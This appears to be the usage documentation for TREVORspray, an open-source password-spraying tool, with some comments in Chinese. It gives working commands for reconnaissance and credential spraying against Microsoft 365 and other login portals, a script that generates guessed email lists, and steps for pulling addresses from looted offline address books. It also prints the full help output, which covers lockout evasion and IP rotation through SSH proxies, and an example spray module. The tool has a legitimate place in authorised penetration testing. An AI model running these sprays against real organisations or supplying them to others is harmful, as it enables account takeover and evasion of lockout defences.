pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

trevorspray --recon evilcorp.com -u emails.txt --threads 10

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

trevorspray -u [email protected] -p 'Welcome123' --delay 5

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

# 克隆 wordsmith 数据集
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# 按出现频率对首字母排序
ordered_letters=asjmkdtclrebnghzpyivfowqux

# 遍历首字母
echo -n $ordered_letters | while read -n1 f; do
  # 遍历美国常见姓氏的前 2000 个
  head -n 2000 'usa/lnames.txt' | while read last; do
    # 生成 f.last 格式的邮箱
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

# 获取 libmspack（用于解压 LZX 文件）
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# 解压 LZX 文件
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# 提取所有字符串
strings oab.bin
# 提取并去重邮箱
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

# 示例喷洒模块

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP 方法
    method = 'POST'
    # 默认目标 URL
    default_url = 'https://login.evilcorp.com/'
    # 请求体
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP 请求头
    headers = {}
    # HTTP cookies
    cookies = {}
    # 不将不存在的账户计为失败登录
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        在运行时从用户获取其他参数
        注意：这些参数也可以通过以 "TREVOR_" 开头的环境变量传递：
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("那个其他东西是什么？ ")
            })

        return True


    def check_response(self, response):
        '''
        返回 (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = '有效凭据'

        return (valid, exists, locked, msg)